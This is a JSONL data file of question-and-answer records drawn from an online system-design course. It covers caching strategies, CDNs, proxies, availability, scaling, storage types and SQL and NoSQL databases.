{"id": "gh_7c9428437f40", "question": "How to: Caching and Memory", "question_body": "About karanpratapsingh/system-design", "answer": "Like a computer's memory, a cache is a compact, fast-performing memory that stores data in a hierarchy of levels, starting at level one, and progressing from there sequentially. They are labeled as L1, L2, L3, and so on. A cache also gets written if requested, such as when there has been an update and new content needs to be saved to the cache, replacing the older content that was saved.\n\nNo matter whether the cache is read or written, it's done one block at a time. Each block also has a tag that includes the location where the data was stored in the cache. When data is requested from the cache, a search occurs through the tags to find the specific content that's needed in level one (L1) of the memory. If the correct data isn't found, more searches are conducted in L2.\n\nIf the data isn't found there, searches are continued in L3, then L4, and so on until it has been found, then, it's read and loaded. If the data isn't found in the cache at all, then it's written into it for quick retrieval the next time.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597314"}
{"id": "gh_b00e2458f3b0", "question": "How to: Cache miss", "question_body": "About karanpratapsingh/system-design", "answer": "A cache miss refers to the instance when the memory is searched, and the data isn't found. When this happens, the content is transferred and written into the cache.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597319"}
{"id": "gh_d558d82496cf", "question": "How to: Cache Invalidation", "question_body": "About karanpratapsingh/system-design", "answer": "Cache invalidation is a process where the computer system declares the cache entries as invalid and removes or replaces them. If the data is modified, it should be invalidated in the cache, if not, this can cause inconsistent application behavior. There are three kinds of caching systems:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597324"}
{"id": "gh_78bf613baf0b", "question": "How to: Write-through cache", "question_body": "About karanpratapsingh/system-design", "answer": "![write-through-cache](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/caching/write-through-cache.png)\n\nData is written into the cache and the corresponding database simultaneously.\n\n**Pro**: Fast retrieval, complete data consistency between cache and storage.\n\n**Con**: Higher latency for write operations.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597328"}
{"id": "gh_dcd536fe7e4f", "question": "How to: Write-around cache", "question_body": "About karanpratapsingh/system-design", "answer": "![write-around-cache](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/caching/write-around-cache.png)\n\nWhere write directly goes to the database or permanent storage, bypassing the cache.\n\n**Pro**: This may reduce latency.\n\n**Con**: It increases cache misses because the cache system has to read the information from the database in case of a cache miss. As a result, this can lead to higher read latency in the case of applications that write and re-read the information quickly. Read happen from slower back-end storage and experiences higher latency.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597334"}
{"id": "gh_5db0d838a066", "question": "How to: Write-back cache", "question_body": "About karanpratapsingh/system-design", "answer": "![write-back-cache](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/caching/write-back-cache.png)\n\nWhere the write is only done to the caching layer and the write is confirmed as soon as the write to the cache completes. The cache then asynchronously syncs this write to the database.\n\n**Pro**: This would lead to reduced latency and high throughput for write-intensive applications.\n\n**Con**: There is a risk of data loss in case the caching layer crashes. We can improve this by having more than one replica acknowledging the write in the cache.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597339"}
{"id": "gh_75bde6d73773", "question": "How to: Eviction policies", "question_body": "About karanpratapsingh/system-design", "answer": "Following are some of the most common cache eviction policies:\n\n- **First In First Out (FIFO)**: The cache evicts the first block accessed first without any regard to how often or how many times it was accessed before.\n- **Last In First Out (LIFO)**: The cache evicts the block accessed most recently first without any regard to how often or how many times it was accessed before.\n- **Least Recently Used (LRU)**: Discards the least recently used items first.\n- **Most Recently Used (MRU)**: Discards, in contrast to LRU, the most recently used items first.\n- **Least Frequently Used (LFU)**: Counts how often an item is needed. Those that are used least often are discarded first.\n- **Random Replacement (RR)**: Randomly selects a candidate item and discards it to make space when necessary.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597345"}
{"id": "gh_c983fac51ee2", "question": "How to: Distributed Cache", "question_body": "About karanpratapsingh/system-design", "answer": "![distributed-cache](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/caching/distributed-cache.png)\n\nA distributed cache is a system that pools together the random-access memory (RAM) of multiple networked computers into a single in-memory data store used as a data cache to provide fast access to data. While most caches are traditionally in one physical server or hardware component, a distributed cache can grow beyond the memory limits of a single computer by linking together multiple computers.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597351"}
{"id": "gh_c542f7b0af83", "question": "How to: Global Cache", "question_body": "About karanpratapsingh/system-design", "answer": "![global-cache](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/caching/global-cache.png)\n\nAs the name suggests, we will have a single shared cache that all the application nodes will use. When the requested data is not found in the global cache, it's the responsibility of the cache to find out the missing piece of data from the underlying data store.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597355"}
{"id": "gh_87d445af18be", "question": "How to: Content Delivery Network (CDN)", "question_body": "About karanpratapsingh/system-design", "answer": "A content delivery network (CDN) is a geographically distributed group of servers that work together to provide fast delivery of internet content. Generally, static files such as HTML/CSS/JS, photos, and videos are served from CDN.\n\n![cdn-map](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/content-delivery-network/cdn-map.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597366"}
{"id": "gh_277e000d944e", "question": "How to: Why use a CDN?", "question_body": "About karanpratapsingh/system-design", "answer": "Content Delivery Network (CDN) increases content availability and redundancy while reducing bandwidth costs and improving security. Serving content from CDNs can significantly improve performance as users receive content from data centers close to them and our servers do not have to serve requests that the CDN fulfills.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597376"}
{"id": "gh_67f54bb62603", "question": "How to: How does a CDN work?", "question_body": "About karanpratapsingh/system-design", "answer": "![cdn](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/content-delivery-network/cdn.png)\n\nIn a CDN, the origin server contains the original versions of the content while the edge servers are numerous and distributed across various locations around the world.\n\nTo minimize the distance between the visitors and the website's server, a CDN stores a cached version of its content in multiple geographical locations known as edge locations. Each edge location contains several caching servers responsible for content delivery to visitors within its proximity.\n\nOnce the static assets are cached on all the CDN servers for a particular location, all subsequent website visitor requests for static assets will be delivered from these edge servers instead of the origin, thus reducing the origin load and improving scalability.\n\nFor example, when someone in the UK requests our website which might be hosted in the USA, they will be served from the closest edge location such as the London edge location. This is much quicker than having the visitor make a complete request to the origin server which will increase the latency.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597382"}
{"id": "gh_d3936c7517b0", "question": "How to: Disadvantages", "question_body": "About karanpratapsingh/system-design", "answer": "As we all know good things come with extra costs, so let's discuss some disadvantages of CDNs:\n\n- **Extra charges**: It can be expensive to use a CDN, especially for high-traffic services.\n- **Restrictions**: Some organizations and countries have blocked the domains or IP addresses of popular CDNs.\n- **Location**: If most of our audience is located in a country where the CDN has no servers, the data on our website may have to travel further than without using any CDN.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597388"}
{"id": "gh_a5db70a2cd80", "question": "How to: Forward Proxy", "question_body": "About karanpratapsingh/system-design", "answer": "A forward proxy, often called a proxy, proxy server, or web proxy is a server that sits in front of a group of client machines. When those computers make requests to sites and services on the internet, the proxy server intercepts those requests and then communicates with web servers on behalf of those clients, like a middleman.\n\n![forward-proxy](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/proxy/forward-proxy.png)\n\n**Advantages**\n\nHere are some advantages of a forward proxy:\n\n- Block access to certain content\n- Allows access to [geo-restricted](https://en.wikipedia.org/wiki/Geo-blocking) content\n- Provides anonymity\n- Avoid other browsing restrictions\n\nAlthough proxies provide the benefits of anonymity, they can still track our personal information. Setup and maintenance of a proxy server can be costly and requires configurations.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597395"}
{"id": "gh_2f825c36475a", "question": "How to: Reverse Proxy", "question_body": "About karanpratapsingh/system-design", "answer": "A reverse proxy is a server that sits in front of one or more web servers, intercepting requests from clients. When clients send requests to the origin server of a website, those requests are intercepted by the reverse proxy server.\n\nThe difference between a forward and reverse proxy is subtle but important. A simplified way to sum it up would be to say that a forward proxy sits in front of a client and ensures that no origin server ever communicates directly with that specific client. On the other hand, a reverse proxy sits in front of an origin server and ensures that no client ever communicates directly with that origin server.\n\n![reverse-proxy](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/proxy/reverse-proxy.png)\n\nIntroducing reverse proxy results in increased complexity. A single reverse proxy is a single point of failure, configuring multiple reverse proxies (i.e. a failover) further increases complexity.\n\n**Advantages**\n\nHere are some advantages of using a reverse proxy:\n\n- Improved security\n- Caching\n- SSL encryption\n- Load balancing\n- Scalability and flexibility", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597403"}
{"id": "gh_25bc484c6c17", "question": "How to: Load balancer vs Reverse Proxy", "question_body": "About karanpratapsingh/system-design", "answer": "Wait, isn't reverse proxy similar to a load balancer? Well, no as a load balancer is useful when we have multiple servers. Often, load balancers route traffic to a set of servers serving the same function, while reverse proxies can be useful even with just one web server or application server. A reverse proxy can also act as a load balancer but not the other way around.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597407"}
{"id": "gh_935499b1da87", "question": "How to: Availability", "question_body": "About karanpratapsingh/system-design", "answer": "Availability is the time a system remains operational to perform its required function in a specific period. It is a simple measure of the percentage of time that a system, service, or machine remains operational under normal conditions.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597412"}
{"id": "gh_964adf9fc386", "question": "How to: The Nine's of availability", "question_body": "About karanpratapsingh/system-design", "answer": "Availability is often quantified by uptime (or downtime) as a percentage of time the service is available. It is generally measured in the number of 9s.\n\n$$\nAvailability = \\frac{Uptime}{(Uptime + Downtime)}\n$$\n\nIf availability is 99.00% available, it is said to have \"2 nines\" of availability, and if it is 99.9%, it is called \"3 nines\", and so on.\n\n| Availability (Percent)   | Downtime (Year)    | Downtime (Month)  | Downtime (Week)    |\n| ------------------------ | ------------------ | ----------------- | ------------------ |\n| 90% (one nine)           | 36.53 days         | 72 hours          | 16.8 hours         |\n| 99% (two nines)          | 3.65 days          | 7.20 hours        | 1.68 hours         |\n| 99.9% (three nines)      | 8.77 hours         | 43.8 minutes      | 10.1 minutes       |\n| 99.99% (four nines)      | 52.6 minutes       | 4.32 minutes      | 1.01 minutes       |\n| 99.999% (five nines)     | 5.25 minutes       | 25.9 seconds      | 6.05 seconds       |\n| 99.9999% (six nines)     | 31.56 seconds      | 2.59 seconds      | 604.8 milliseconds |\n| 99.99999% (seven nines)  | 3.15 seconds       | 263 milliseconds  | 60.5 milliseconds  |\n| 99.999999% (eight nines) | 315.6 milliseconds | 26.3 milliseconds | 6 milliseconds     |\n| 99.9999999% (nine nines) | 31.6 milliseconds  | 2.6 milliseconds  | 0.6 milliseconds   |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597420"}
{"id": "gh_726f03349704", "question": "How to: Availability in Sequence vs Parallel", "question_body": "About karanpratapsingh/system-design", "answer": "If a service consists of multiple components prone to failure, the service's overall availability depends on whether the components are in sequence or in parallel.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597425"}
{"id": "gh_d76370c461ad", "question": "How to: Availability vs Reliability", "question_body": "About karanpratapsingh/system-design", "answer": "If a system is reliable, it is available. However, if it is available, it is not necessarily reliable. In other words, high reliability contributes to high availability, but it is possible to achieve high availability even with an unreliable system.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597430"}
{"id": "gh_6a53c7f379a5", "question": "How to: High availability vs Fault Tolerance", "question_body": "About karanpratapsingh/system-design", "answer": "Both high availability and fault tolerance apply to methods for providing high uptime levels. However, they accomplish the objective differently.\n\nA fault-tolerant system has no service interruption but a significantly higher cost, while a highly available system has minimal service interruption. Fault-tolerance requires full hardware redundancy as if the main system fails, with no loss in uptime, another system should take over.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597435"}
{"id": "gh_f00477d86b51", "question": "How to: Scalability", "question_body": "About karanpratapsingh/system-design", "answer": "Scalability is the measure of how well a system responds to changes by adding or removing resources to meet demands.\n\n![scalability](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-I/scalability/scalability.png)\n\nLet's discuss different types of scaling:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597441"}
{"id": "gh_fb4b1edb56b8", "question": "How to: Vertical scaling", "question_body": "About karanpratapsingh/system-design", "answer": "Vertical scaling (also known as scaling up) expands a system's scalability by adding more power to an existing machine. In other words, vertical scaling refers to improving an application's capability via increasing hardware capacity.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597446"}
{"id": "gh_9e189aa4b4f2", "question": "How to: Horizontal scaling", "question_body": "About karanpratapsingh/system-design", "answer": "Horizontal scaling (also known as scaling out) expands a system's scale by adding more machines. It improves the performance of the server by adding more instances to the existing pool of servers, allowing the load to be distributed more evenly.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597461"}
{"id": "gh_21a57a3436dd", "question": "How to: Comparison", "question_body": "About karanpratapsingh/system-design", "answer": "Let's compare all the features of different RAID levels:\n\n| Features             | RAID 0   | RAID 1               | RAID 5               | RAID 6                      | RAID 10                                  |\n| -------------------- | -------- | -------------------- | -------------------- | --------------------------- | ---------------------------------------- |\n| Description          | Striping | Mirroring            | Striping with Parity | Striping with double parity | Striping and Mirroring                   |\n| Minimum Disks        | 2        | 2                    | 3                    | 4                           | 4                                        |\n| Read Performance     | High     | High                 | High                 | High                        | High                                     |\n| Write Performance    | High     | Medium               | High                 | High                        | Medium                                   |\n| Cost                 | Low      | High                 | Low                  | Low                         | High                                     |\n| Fault Tolerance      | None     | Single-drive failure | Single-drive failure | Two-drive failure           | Up to one disk failure in each sub-array |\n| Capacity Utilization | 100%     | 50%                  | 67%-94%              | 50%-80%                     | 50%                                      |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597478"}
{"id": "gh_5742160603b6", "question": "How to: File storage", "question_body": "About karanpratapsingh/system-design", "answer": "File storage is a solution to store data as files and present it to its final users as a hierarchical directories structure. The main advantage is to provide a user-friendly solution to store and retrieve files. To locate a file in file storage, the complete path of the file is required. It is economical and easily structured and is usually found on hard drives, which means that they appear exactly the same for the user and on the hard drive.\n\nExample: [Amazon EFS](https://aws.amazon.com/efs), [Azure files](https://azure.microsoft.com/en-in/services/storage/files), [Google Cloud Filestore](https://cloud.google.com/filestore), etc.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597484"}
{"id": "gh_098747faf615", "question": "How to: Block storage", "question_body": "About karanpratapsingh/system-design", "answer": "Block storage divides data into blocks (chunks) and stores them as separate pieces. Each block of data is given a unique identifier, which allows a storage system to place the smaller pieces of data wherever it is most convenient.\n\nBlock storage also decouples data from user environments, allowing that data to be spread across multiple environments. This creates multiple paths to the data and allows the user to retrieve it quickly. When a user or application requests data from a block storage system, the underlying storage system reassembles the data blocks and presents the data to the user or application\n\nExample: [Amazon EBS](https://aws.amazon.com/ebs).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597489"}
{"id": "gh_eb48868e427e", "question": "How to: Object Storage", "question_body": "About karanpratapsingh/system-design", "answer": "Object storage, which is also known as object-based storage, breaks data files up into pieces called objects. It then stores those objects in a single repository, which can be spread out across multiple networked systems.\n\nExample: [Amazon S3](https://aws.amazon.com/s3), [Azure Blob Storage](https://azure.microsoft.com/en-in/services/storage/blobs), [Google Cloud Storage](https://cloud.google.com/storage), etc.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597494"}
{"id": "gh_5a425b00f5ff", "question": "How to: What is a Database?", "question_body": "About karanpratapsingh/system-design", "answer": "A database is an organized collection of structured information, or data, typically stored electronically in a computer system. A database is usually controlled by a Database Management System (DBMS). Together, the data and the DBMS, along with the applications that are associated with them, are referred to as a database system, often shortened to just database.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597500"}
{"id": "gh_d276b6637bb0", "question": "How to: What is DBMS?", "question_body": "About karanpratapsingh/system-design", "answer": "A database typically requires a comprehensive database software program known as a Database Management System (DBMS). A DBMS serves as an interface between the database and its end-users or programs, allowing users to retrieve, update, and manage how the information is organized and optimized. A DBMS also facilitates oversight and control of databases, enabling a variety of administrative operations such as performance monitoring, tuning, and backup and recovery.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597505"}
{"id": "gh_b2e3248b1470", "question": "How to: Components", "question_body": "About karanpratapsingh/system-design", "answer": "Here are some common components found across different databases:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597509"}
{"id": "gh_e771271ee672", "question": "How to: SQL databases", "question_body": "About karanpratapsingh/system-design", "answer": "A SQL (or relational) database is a collection of data items with pre-defined relationships between them. These items are organized as a set of tables with columns and rows. Tables are used to hold information about the objects to be represented in the database. Each column in a table holds a certain kind of data and a field stores the actual value of an attribute. The rows in the table represent a collection of related values of one object or entity.\n\nEach row in a table could be marked with a unique identifier called a primary key, and rows among multiple tables can be made related using foreign keys. This data can be accessed in many different ways without re-organizing the database tables themselves. SQL databases usually follow the [ACID consistency model](https://karanpratapsingh.com/courses/system-design/acid-and-base-consistency-models#acid).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597523"}
{"id": "gh_d4ef6550413a", "question": "How to: Materialized views", "question_body": "About karanpratapsingh/system-design", "answer": "A materialized view is a pre-computed data set derived from a query specification and stored for later use. Because the data is pre-computed, querying a materialized view is faster than executing a query against the base table of the view. This performance difference can be significant when a query is run frequently or is sufficiently complex.\n\nIt also enables data subsetting and improves the performance of complex queries that run on large data sets which reduces network loads. There are other uses of materialized views, but they are mostly used for performance and replication.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597528"}
{"id": "gh_cb98fac7afe2", "question": "How to: N+1 query problem", "question_body": "About karanpratapsingh/system-design", "answer": "The N+1 query problem happens when the data access layer executes N additional SQL statements to fetch the same data that could have been retrieved when executing the primary SQL query. The larger the value of N, the more queries will be executed, the larger the performance impact.\n\nThis is commonly seen in GraphQL and ORM (Object-Relational Mapping) tools and can be addressed by optimizing the SQL query or using a dataloader that batches consecutive requests and makes a single data request under the hood.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597533"}
{"id": "gh_8af9ded8e1f9", "question": "How to: NoSQL databases", "question_body": "About karanpratapsingh/system-design", "answer": "NoSQL is a broad category that includes any database that doesn't use SQL as its primary data access language. These types of databases are also sometimes referred to as non-relational databases. Unlike in relational databases, data in a NoSQL database doesn't have to conform to a pre-defined schema. NoSQL databases follow [BASE consistency model](https://karanpratapsingh.com/courses/system-design/acid-and-base-consistency-models#base).\n\nBelow are different types of NoSQL databases:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597548"}
{"id": "gh_03ab82460e51", "question": "How to: Time series", "question_body": "About karanpratapsingh/system-design", "answer": "A time-series database is a database optimized for time-stamped, or time series, data.\n\n**Advantages**\n\n- Fast insertion and retrieval\n- Efficient data storage\n\n**Use cases**\n\n- IoT data\n- Metrics analysis\n- Application monitoring\n- Understand financial trends\n\n**Examples**\n\n- [InfluxDB](https://www.influxdata.com)\n- [Apache Druid](https://druid.apache.org)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597557"}
{"id": "gh_296e612bd82b", "question": "How to: Wide column", "question_body": "About karanpratapsingh/system-design", "answer": "Wide column databases, also known as wide column stores, are schema-agnostic. Data is stored in column families, rather than in rows and columns.\n\n**Advantages**\n\n- Highly scalable, can handle petabytes of data\n- Ideal for real-time big data applications\n\n**Disadvantages**\n\n- Expensive\n- Increased write time\n\n**Use cases**\n\n- Business analytics\n- Attribute-based data storage\n\n**Examples**\n\n- [BigTable](https://cloud.google.com/bigtable)\n- [Apache Cassandra](https://cassandra.apache.org)\n- [ScyllaDB](https://www.scylladb.com)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597563"}
{"id": "gh_0973eda8b623", "question": "How to: Multi-model", "question_body": "About karanpratapsingh/system-design", "answer": "Multi-model databases combine different database models (i.e. relational, graph, key-value, document, etc.) into a single, integrated backend. This means they can accommodate various data types, indexes, queries, and store data in more than one model.\n\n**Advantages**\n\n- Flexibility\n- Suitable for complex projects\n- Data consistent\n\n**Disadvantages**\n\n- Complex\n- Less mature\n\n**Examples**\n\n- [ArangoDB](https://www.arangodb.com)\n- [Azure Cosmos DB](https://azure.microsoft.com/en-in/services/cosmos-db)\n- [Couchbase](https://www.couchbase.com)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597569"}
{"id": "gh_48762a17c05a", "question": "How to: SQL vs NoSQL databases", "question_body": "About karanpratapsingh/system-design", "answer": "In the world of databases, there are two main types of solutions, SQL (relational) and NoSQL (non-relational) databases. Both of them differ in the way they were built, the kind of information they store, and how they store it. Relational databases are structured and have predefined schemas while non-relational databases are unstructured, distributed, and have a dynamic schema.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597573"}
{"id": "gh_e1801e31fa40", "question": "How to: High-level differences", "question_body": "About karanpratapsingh/system-design", "answer": "Here are some high-level differences between SQL and NoSQL:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597578"}
{"id": "gh_29dd6340e2b6", "question": "How to: Reliability", "question_body": "About karanpratapsingh/system-design", "answer": "The vast majority of relational databases are ACID compliant. So, when it comes to data reliability and a safe guarantee of performing transactions, SQL databases are still the better bet.\n\nMost of the NoSQL solutions sacrifice ACID compliance for performance and scalability.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.597588"}
